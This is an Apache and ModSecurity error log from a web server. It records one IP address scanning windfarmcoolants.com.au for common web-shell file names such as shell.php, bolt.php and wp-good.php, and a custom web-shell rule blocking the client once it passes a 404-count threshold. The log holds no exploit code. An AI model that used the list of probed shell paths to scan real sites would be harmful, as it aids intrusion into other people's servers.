[Sun Apr 19 22:48:57.285848 2026] [:error] [pid 15763:tid 15803] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Sun Apr 19 22:48:57.525698 2026] [:error] [pid 15763:tid 15796] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/166.php
[Sun Apr 19 22:48:57.763779 2026] [:error] [pid 15763:tid 15801] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/bmi.php
[Sun Apr 19 22:48:58.016781 2026] [:error] [pid 15763:tid 15802] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sun Apr 19 22:48:58.285696 2026] [:error] [pid 15763:tid 15808] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sun Apr 19 22:48:58.524002 2026] [:error] [pid 15763:tid 15804] [client 20.203.188.128:45689] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sun Apr 19 22:48:59.450291 2026] [:error] [pid 15763:tid 15806] [client 20.203.188.128:45689] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTrW7MXv1Y1THOoxaASOQAAAgo"]
[Sun Apr 19 22:49:01.126707 2026] [:error] [pid 15765:tid 15867] [client 20.203.188.128:57324] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTrXfRqinw-W5EwQ74H8wAAAo4"]
[Sun Apr 19 22:49:02.353252 2026] [:error] [pid 15763:tid 15811] [client 20.203.188.128:25725] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTrXrMXv1Y1THOoxaASOwAAAg8"]
[Sun Apr 19 22:49:03.174701 2026] [:error] [pid 15694:tid 15723] [client 20.203.188.128:26082] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aeTrX7imB-jol1fwqAoYVgAAAYA"]
[Sun Apr 19 22:49:04.045640 2026] [:error] [pid 47773:tid 47822] [client 20.203.188.128:44956] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTrYOiBHdnCJDuPq9BWWwAAAEY"]
[Sun Apr 19 22:49:04.843279 2026] [:error] [pid 15693:tid 15709] [client 20.203.188.128:4902] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTrYMNMD-ccazQlTslj1QAAAU0"]
[Sun Apr 19 22:49:05.899930 2026] [:error] [pid 15760:tid 15785] [client 20.203.188.128:4893] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTrYfSdD_XHQMJ_IStd9QAAAdE"]
[Sun Apr 19 22:49:06.890076 2026] [:error] [pid 15763:tid 15801] [client 20.203.188.128:57341] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeTrYrMXv1Y1THOoxaASQgAAAgU"]
[Sun Apr 19 22:49:08.206250 2026] [:error] [pid 15760:tid 15787] [client 20.203.188.128:4992] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTrZPSdD_XHQMJ_IStd-AAAAdM"]
[Sun Apr 19 22:49:09.426815 2026] [:error] [pid 15760:tid 15779] [client 20.203.188.128:42791] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTrZfSdD_XHQMJ_IStd-QAAAcs"]
[Sun Apr 19 22:49:10.386449 2026] [:error] [pid 47772:tid 47813] [client 20.203.188.128:5110] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTrZoc0L16cb4smAz_ZiQAAABg"]
[Sun Apr 19 22:49:11.526037 2026] [:error] [pid 15765:tid 15867] [client 20.203.188.128:43808] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "aeTrZ_Rqinw-W5EwQ74IAQAAAo4"]
[Sun Apr 19 22:49:12.442718 2026] [:error] [pid 15760:tid 15792] [client 20.203.188.128:43811] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTraPSdD_XHQMJ_ISteBAAAAdg"]
[Sun Apr 19 22:49:13.157897 2026] [:error] [pid 15760:tid 15776] [client 20.203.188.128:5025] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTrafSdD_XHQMJ_ISteDAAAAcg"]
[Sun Apr 19 22:49:14.014036 2026] [:error] [pid 47775:tid 47850] [client 20.203.188.128:43809] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTrarmztjlk9tsmoewnGAAAAIc"]
[Sun Apr 19 22:49:14.794750 2026] [:error] [pid 15760:tid 15778] [client 20.203.188.128:45292] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "aeTravSdD_XHQMJ_ISteFQAAAco"]
[Sun Apr 19 22:49:15.502933 2026] [:error] [pid 15763:tid 15801] [client 20.203.188.128:4367] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTra7MXv1Y1THOoxaASTAAAAgU"]
[Sun Apr 19 22:49:16.485711 2026] [:error] [pid 15760:tid 15769] [client 20.203.188.128:45678] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTrbPSdD_XHQMJ_ISteGgAAAcE"]
[Sun Apr 19 22:49:17.658977 2026] [:error] [pid 15763:tid 15798] [client 20.203.188.128:23028] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTrbbMXv1Y1THOoxaASVAAAAgI"]
[Sun Apr 19 22:49:18.481197 2026] [:error] [pid 15760:tid 15789] [client 20.203.188.128:42760] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/first.php"] [unique_id "aeTrbvSdD_XHQMJ_ISteHgAAAdU"]
[Sun Apr 19 22:49:19.524468 2026] [:error] [pid 15760:tid 15792] [client 20.203.188.128:43788] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeTrb_SdD_XHQMJ_ISteIQAAAdg"]
[Sun Apr 19 22:49:20.268705 2026] [:error] [pid 15760:tid 15770] [client 20.203.188.128:5016] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeTrcPSdD_XHQMJ_ISteJQAAAcI"]
[Sun Apr 19 22:49:20.913170 2026] [:error] [pid 15760:tid 15777] [client 20.203.188.128:45264] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeTrcPSdD_XHQMJ_ISteKAAAAck"]
[Sun Apr 19 22:49:21.771909 2026] [:error] [pid 15763:tid 15813] [client 20.203.188.128:5079] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeTrcbMXv1Y1THOoxaASVgAAAhE"]
[Sun Apr 19 22:49:23.173592 2026] [:error] [pid 15760:tid 15785] [client 20.203.188.128:4400] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeTrc_SdD_XHQMJ_ISteMAAAAdE"]
[Sun Apr 19 22:49:24.311420 2026] [:error] [pid 15760:tid 15788] [client 20.203.188.128:23030] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeTrdPSdD_XHQMJ_ISteOQAAAdQ"]
[Sun Apr 19 22:49:25.205128 2026] [:error] [pid 47775:tid 47844] [client 20.203.188.128:35217] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeTrdbmztjlk9tsmoewnHQAAAIE"]
[Sun Apr 19 22:49:26.257136 2026] [:error] [pid 15760:tid 15777] [client 20.203.188.128:42770] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "aeTrdvSdD_XHQMJ_ISteQwAAAck"]
[Sun Apr 19 22:49:27.064708 2026] [:error] [pid 15760:tid 15771] [client 20.203.188.128:4409] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeTrd_SdD_XHQMJ_ISteSgAAAcM"]
[Sun Apr 19 22:49:27.615853 2026] [:error] [pid 47772:tid 47813] [client 20.203.188.128:45256] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeTrd4c0L16cb4smAz_ZkAAAABg"]
[Sun Apr 19 22:49:28.302103 2026] [:error] [pid 15760:tid 15789] [client 20.203.188.128:35211] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeTrePSdD_XHQMJ_ISteUQAAAdU"]
[Sun Apr 19 22:49:28.915813 2026] [:error] [pid 15760:tid 15786] [client 20.203.188.128:4412] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asd.php"] [unique_id "aeTrePSdD_XHQMJ_ISteVAAAAdI"]
[Sun Apr 19 22:49:29.759509 2026] [:error] [pid 47772:tid 47789] [client 20.203.188.128:28347] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeTreYc0L16cb4smAz_ZkwAAAAA"]
[Sun Apr 19 22:49:30.914583 2026] [:error] [pid 15764:tid 15847] [client 20.203.188.128:45305] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeTremLL_sqdSHoVp-Q5gAAAAlU"]
[Sun Apr 19 22:49:31.913717 2026] [:error] [pid 15764:tid 15836] [client 20.203.188.128:28290] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeTre2LL_sqdSHoVp-Q5hQAAAko"]
[Sun Apr 19 22:49:32.801035 2026] [:error] [pid 15760:tid 15792] [client 20.203.188.128:5062] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/vx.php"] [unique_id "aeTrfPSdD_XHQMJ_ISteVQAAAdg"]
[Sun Apr 19 22:49:33.544191 2026] [:error] [pid 15763:tid 15812] [client 20.203.188.128:42803] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeTrfbMXv1Y1THOoxaASXQAAAhA"]
[Sun Apr 19 22:49:34.238182 2026] [:error] [pid 47772:tid 47798] [client 20.203.188.128:42828] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeTrfoc0L16cb4smAz_ZmAAAAAk"]
[Sun Apr 19 22:49:34.919833 2026] [:error] [pid 15763:tid 15815] [client 20.203.188.128:28336] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeTrfrMXv1Y1THOoxaASYQAAAhM"]
[Sun Apr 19 22:49:35.529702 2026] [:error] [pid 15763:tid 15814] [client 20.203.188.128:28314] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeTrf7MXv1Y1THOoxaASZQAAAhI"]
[Sun Apr 19 22:49:36.161976 2026] [:error] [pid 15760:tid 15779] [client 20.203.188.128:23027] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "aeTrgPSdD_XHQMJ_ISteXAAAAcs"]
[Sun Apr 19 22:49:37.268250 2026] [:error] [pid 15760:tid 15778] [client 20.203.188.128:35256] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "aeTrgfSdD_XHQMJ_ISteYQAAAco"]
[Sun Apr 19 22:49:38.075612 2026] [:error] [pid 15760:tid 15772] [client 20.203.188.128:45251] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "aeTrgvSdD_XHQMJ_ISteZQAAAcQ"]
[Sun Apr 19 22:49:38.671965 2026] [:error] [pid 15760:tid 15769] [client 20.203.188.128:5080] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "aeTrgvSdD_XHQMJ_IStebgAAAcE"]
[Sun Apr 19 22:49:39.812153 2026] [:error] [pid 15765:tid 15867] [client 20.203.188.128:35202] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTrg_Rqinw-W5EwQ74ICgAAAo4"]
[Sun Apr 19 22:49:40.746842 2026] [:error] [pid 15764:tid 15835] [client 20.203.188.128:45272] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTrhGLL_sqdSHoVp-Q5kgAAAkk"]
[Sun Apr 19 22:49:41.666216 2026] [:error] [pid 15693:tid 15698] [client 20.203.188.128:4555] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTrhcNMD-ccazQlTslj4AAAAUI"]
[Sun Apr 19 22:49:42.322317 2026] [:error] [pid 15764:tid 15836] [client 20.203.188.128:42779] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeTrhmLL_sqdSHoVp-Q5lwAAAko"]
[Sun Apr 19 22:49:42.895284 2026] [:error] [pid 47772:tid 47802] [client 20.203.188.128:42497] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeTrhoc0L16cb4smAz_ZowAAAA0"]
[Sun Apr 19 22:49:43.680855 2026] [:error] [pid 47772:tid 47806] [client 20.203.188.128:43830] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeTrh4c0L16cb4smAz_ZpwAAABE"]
[Sun Apr 19 22:49:44.593792 2026] [:error] [pid 15764:tid 15843] [client 20.203.188.128:45285] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeTriGLL_sqdSHoVp-Q5mwAAAlE"]
[Sun Apr 19 22:49:45.453935 2026] [:error] [pid 15760:tid 15780] [client 20.203.188.128:4401] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aeTrifSdD_XHQMJ_IStefAAAAcw"]
[Sun Apr 19 22:49:46.444857 2026] [:error] [pid 15765:tid 15877] [client 20.203.188.128:42535] [client 20.203.188.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aeTrivRqinw-W5EwQ74IDQAAApg"]
